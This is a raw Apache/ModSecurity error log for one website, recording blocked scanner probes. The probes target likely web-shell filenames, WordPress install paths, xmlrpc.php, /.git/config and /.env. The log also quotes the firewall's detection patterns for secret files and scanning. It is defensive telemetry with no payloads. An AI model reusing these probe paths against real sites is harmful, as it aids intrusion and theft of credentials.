[Fri Apr 17 00:08:46.928463 2026] [:error] [pid 43386:tid 43432] [client 158.158.73.200:24402] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeEJju91GAVgUfhPVDGjQwAAAEw"]
[Fri Apr 17 00:08:48.005095 2026] [:error] [pid 43385:tid 43403] [client 158.158.73.200:64191] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeEJkMnIxkJaUI8KNs7o9AAAAA4"]
[Fri Apr 17 00:08:49.023242 2026] [:error] [pid 43386:tid 43444] [client 158.158.73.200:60015] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeEJke91GAVgUfhPVDGjRQAAAFc"]
[Fri Apr 17 00:08:49.954086 2026] [:error] [pid 43387:tid 43471] [client 158.158.73.200:47126] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeEJkSBNsONqHxWTakUb2AAAAJI"]
[Fri Apr 17 00:08:50.525403 2026] [:error] [pid 43387:tid 43466] [client 158.158.73.200:51814] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeEJkiBNsONqHxWTakUb3QAAAI0"]
[Fri Apr 17 00:08:51.277675 2026] [:error] [pid 43385:tid 43404] [client 158.158.73.200:21948] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeEJk8nIxkJaUI8KNs7o_AAAAA8"]
[Fri Apr 17 00:08:51.931166 2026] [:error] [pid 43385:tid 43396] [client 158.158.73.200:24391] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeEJk8nIxkJaUI8KNs7o_wAAAAc"]
[Fri Apr 17 00:08:52.632393 2026] [:error] [pid 43385:tid 43394] [client 158.158.73.200:64188] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeEJlMnIxkJaUI8KNs7pAgAAAAU"]
[Fri Apr 17 00:08:53.209385 2026] [:error] [pid 43385:tid 43411] [client 158.158.73.200:64146] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeEJlcnIxkJaUI8KNs7pAwAAABU"]
[Fri Apr 17 00:08:54.068438 2026] [proxy_fcgi:error] [pid 43387:tid 43449] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:54.496765 2026] [proxy_fcgi:error] [pid 43387:tid 43469] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:55.008475 2026] [proxy_fcgi:error] [pid 43387:tid 43454] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:55.250422 2026] [proxy_fcgi:error] [pid 43387:tid 43475] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:55.518551 2026] [proxy_fcgi:error] [pid 43387:tid 43450] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:55.774916 2026] [proxy_fcgi:error] [pid 43387:tid 43470] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:56.017855 2026] [proxy_fcgi:error] [pid 43387:tid 43477] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:56.272001 2026] [proxy_fcgi:error] [pid 43387:tid 43465] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:56.787667 2026] [proxy_fcgi:error] [pid 43387:tid 43472] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:57.275937 2026] [proxy_fcgi:error] [pid 43387:tid 43462] [client 158.158.73.200:59987] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:08:57.606734 2026] [:error] [pid 43387:tid 43469] [client 158.158.73.200:59987] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aeEJmSBNsONqHxWTakUb_QAAAJA"]
[Fri Apr 17 00:08:58.375400 2026] [:error] [pid 43385:tid 43402] [client 158.158.73.200:24361] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aeEJmsnIxkJaUI8KNs7pCgAAAA0"]
[Fri Apr 17 00:08:59.400784 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:64179] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aeEJmz9SZnuKxlHrct1nOwAAAM4"]
[Fri Apr 17 00:09:00.340622 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:24359] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x1da.php"] [unique_id "aeEJnD9SZnuKxlHrct1nQAAAAMk"]
[Fri Apr 17 00:09:01.563869 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:47106] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeEJnSBNsONqHxWTakUcBgAAAIw"]
[Fri Apr 17 00:09:03.616036 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:59600] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeEJnz9SZnuKxlHrct1nTgAAAMk"]
[Fri Apr 17 00:09:04.595012 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:47148] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeEJoD9SZnuKxlHrct1nUQAAAM0"]
[Fri Apr 17 00:09:05.238427 2026] [:error] [pid 43387:tid 43459] [client 158.158.73.200:47130] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aeEJoSBNsONqHxWTakUcCgAAAIg"]
[Fri Apr 17 00:09:05.802151 2026] [:error] [pid 43482:tid 43491] [client 158.158.73.200:47108] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeEJoT9SZnuKxlHrct1nVwAAAMc"]
[Fri Apr 17 00:09:06.620145 2026] [:error] [pid 43482:tid 43494] [client 158.158.73.200:59978] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeEJoj9SZnuKxlHrct1nWwAAAMo"]
[Fri Apr 17 00:09:07.383188 2026] [:error] [pid 43386:tid 43420] [client 158.158.73.200:21990] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeEJo-91GAVgUfhPVDGjVAAAAEA"]
[Fri Apr 17 00:09:08.341118 2026] [:error] [pid 43482:tid 43484] [client 158.158.73.200:59586] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeEJpD9SZnuKxlHrct1nZgAAAMA"]
[Fri Apr 17 01:50:31.259248 2026] [:error] [pid 43482:tid 43499] [client 91.175.245.193:17075] [client 91.175.245.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aeEhZz9SZnuKxlHrct2qJgAAAM8"]
[Fri Apr 17 02:25:44.459878 2026] [:error] [pid 26102:tid 26120] [client 34.182.42.107:64735] [client 34.182.42.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.42.107, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeEpqP127aFqw6ALdnggJQAAAY8"]
[Fri Apr 17 02:25:44.468823 2026] [proxy_fcgi:error] [pid 26102:tid 26120] [client 34.182.42.107:64735] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 02:25:46.491944 2026] [:error] [pid 26102:tid 26128] [client 34.182.42.107:64735] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeEpqv127aFqw6ALdnggNAAAAZc"]
[Fri Apr 17 02:25:48.022900 2026] [:error] [pid 43385:tid 43406] [client 34.182.42.107:58137] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeEprMnIxkJaUI8KNs4w-gAAABE"]
[Fri Apr 17 02:25:50.293192 2026] [:error] [pid 43482:tid 43504] [client 34.182.42.107:50708] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeEprj9SZnuKxlHrct23KQAAANQ"]
[Fri Apr 17 02:25:52.430946 2026] [:error] [pid 43387:tid 43461] [client 34.182.42.107:52885] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeEpsCBNsONqHxWTakVMLAAAAIo"]
[Fri Apr 17 02:25:54.611684 2026] [:error] [pid 43386:tid 43430] [client 34.182.42.107:59213] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeEpsu91GAVgUfhPVDHi4AAAAEo"]
[Fri Apr 17 02:25:55.973132 2026] [:error] [pid 43385:tid 43408] [client 34.182.42.107:58832] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeEps8nIxkJaUI8KNs4xBwAAABM"]
[Fri Apr 17 02:25:58.961577 2026] [:error] [pid 43387:tid 43473] [client 34.182.42.107:54273] [client 34.182.42.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeEptiBNsONqHxWTakVMOQAAAJQ"]
[Fri Apr 17 04:18:00.635626 2026] [:error] [pid 9263:tid 9281] [client 209.38.89.62:56184] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/install.php"] [unique_id "aeFD-BP68VyHNvj1e56djQAAANA"]
[Fri Apr 17 04:18:00.683312 2026] [:error] [pid 9263:tid 9269] [client 209.38.89.62:56192] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/wp-admin/install.php"] [unique_id "aeFD-BP68VyHNvj1e56djgAAAMQ"]
[Fri Apr 17 04:18:00.735268 2026] [:error] [pid 9153:tid 9240] [client 209.38.89.62:56194] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new/wp-admin/install.php"] [unique_id "aeFD-OMHGxkTZX3c45e4hgAAAJY"]
[Fri Apr 17 04:18:00.863142 2026] [:error] [pid 9153:tid 9241] [client 209.38.89.62:56202] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/old/wp-admin/install.php"] [unique_id "aeFD-OMHGxkTZX3c45e4iAAAAJc"]
[Fri Apr 17 04:18:00.898278 2026] [:error] [pid 9153:tid 9222] [client 209.38.89.62:56208] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFD-OMHGxkTZX3c45e4iQAAAIQ"]
[Fri Apr 17 04:18:00.945291 2026] [:error] [pid 9153:tid 9228] [client 209.38.89.62:56220] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aeFD-OMHGxkTZX3c45e4iwAAAIo"]
[Fri Apr 17 04:18:00.987605 2026] [:error] [pid 9152:tid 9197] [client 209.38.89.62:56226] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFD-JJYca8I3TNCwIfXHwAAAEc"]
[Fri Apr 17 04:18:01.023690 2026] [:error] [pid 9153:tid 9235] [client 209.38.89.62:56242] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFD-eMHGxkTZX3c45e4jAAAAJE"]
[Fri Apr 17 04:18:01.058762 2026] [:error] [pid 9152:tid 9207] [client 209.38.89.62:56258] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/wp-admin/install.php"] [unique_id "aeFD-ZJYca8I3TNCwIfXIAAAAFE"]
[Fri Apr 17 04:18:01.092712 2026] [:error] [pid 9153:tid 9218] [client 209.38.89.62:56266] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFD-eMHGxkTZX3c45e4kAAAAIA"]
[Fri Apr 17 04:18:01.123614 2026] [:error] [pid 9153:tid 9233] [client 209.38.89.62:56270] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-admin/install.php"] [unique_id "aeFD-eMHGxkTZX3c45e4kQAAAI8"]
[Fri Apr 17 04:18:01.176582 2026] [:error] [pid 9153:tid 9231] [client 209.38.89.62:56286] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oldsite/wp-admin/install.php"] [unique_id "aeFD-eMHGxkTZX3c45e4kgAAAI0"]
[Fri Apr 17 04:18:01.229704 2026] [:error] [pid 9263:tid 9284] [client 209.38.89.62:56296] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop/wp-admin/install.php"] [unique_id "aeFD-RP68VyHNvj1e56dlwAAANM"]
[Fri Apr 17 04:51:16.662569 2026] [:error] [pid 51878:tid 51892] [client 5.255.127.166:38324] [client 5.255.127.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aeFLxEnQhUtMbw9EsgY1aQAAAQw"]
[Fri Apr 17 04:51:16.681445 2026] [:error] [pid 51878:tid 51899] [client 5.255.127.166:38306] [client 5.255.127.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aeFLxEnQhUtMbw9EsgY1awAAARM"]
[Fri Apr 17 05:09:33.374699 2026] [:error] [pid 9152:tid 9196] [client 140.245.100.195:50349] [client 140.245.100.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aeFQDZJYca8I3TNCwIcAsAAAAEY"]
[Fri Apr 17 05:19:53.361719 2026] [proxy_fcgi:error] [pid 9152:tid 9197] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:53.641678 2026] [proxy_fcgi:error] [pid 9152:tid 9210] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:53.918841 2026] [proxy_fcgi:error] [pid 9152:tid 9203] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:54.192449 2026] [proxy_fcgi:error] [pid 9152:tid 9196] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:54.464999 2026] [proxy_fcgi:error] [pid 9152:tid 9206] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:54.739578 2026] [proxy_fcgi:error] [pid 9152:tid 9204] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:55.010294 2026] [proxy_fcgi:error] [pid 9152:tid 9214] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:55.282329 2026] [proxy_fcgi:error] [pid 9152:tid 9194] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:55.551473 2026] [proxy_fcgi:error] [pid 9152:tid 9197] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:55.829653 2026] [proxy_fcgi:error] [pid 9152:tid 9200] [client 20.111.44.26:39517] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 05:19:56.096870 2026] [:error] [pid 9152:tid 9191] [client 20.111.44.26:39517] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aeFSfJJYca8I3TNCwIcE9QAAAEE"]
[Fri Apr 17 05:19:56.650840 2026] [:error] [pid 51878:tid 51884] [client 20.111.44.26:39539] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aeFSfEnQhUtMbw9EsgZUjAAAAQQ"]
[Fri Apr 17 05:19:57.188080 2026] [:error] [pid 9263:tid 9271] [client 20.111.44.26:33271] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aeFSfRP68VyHNvj1e57pnQAAAMY"]
